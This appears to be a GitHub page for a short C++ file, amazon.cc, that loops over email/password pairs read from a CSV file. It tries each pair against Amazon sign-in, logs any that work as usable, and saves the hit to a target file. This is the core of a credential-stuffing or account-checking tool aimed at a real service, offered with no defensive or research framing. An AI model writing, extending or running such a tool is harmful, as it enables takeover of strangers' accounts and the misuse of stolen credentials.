-
Notifications
You must be signed in to change notification settings - Fork 0
/
amazon.cc
executable file
·63 lines (46 loc) · 1.19 KB
/
amazon.cc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
/**
* cluries @ 2011
* http://cdbit.com
*/
#include "config.h"
#include "clloger.h"
#include "amazonit.h"
#include "filemanager.h"
#include <pcre.h>
int main()
{
/*
if(setuid(0)){
LOG_ERROR("setuid error :%s", strerror(errno));
}
if(setgid(0)) {
LOG_ERROR("setgid error :%s", strerror(errno));
}*/
using namespace amazon;
char source[512]; prunpath(source,512,"/source/source.csv");
char target[512]; prunpath(target,512,"/target/target.csv");
char offset[512]; prunpath(offset,512,"/config/offset.ini");
FileManager fileManager(source,target,offset,kFileManagerTargetModeAppend) ;
//Amazonit amazonit ;
//amazonit.measurement() ;
/*
// test
Amazonit amazonit ;
AmazonAccount account ;
amazonit.validate(&account);
*/
bool finded = false;
while(fileManager.next() ) {
Amazonit amazonit ;
if (amazonit.validate(fileManager.fetch())>0) {
finded = true;
LOG_INFO("**************************YES! %s - %s can use for sigin amazon\n", fileManager.fetch()->email,fileManager.fetch()->password );
fileManager.putTarget();
break;
}
}
if (!finded) {
LOG_I("sorry,but not any user-password pairs can sigin amazon\n");
}
return 0;
}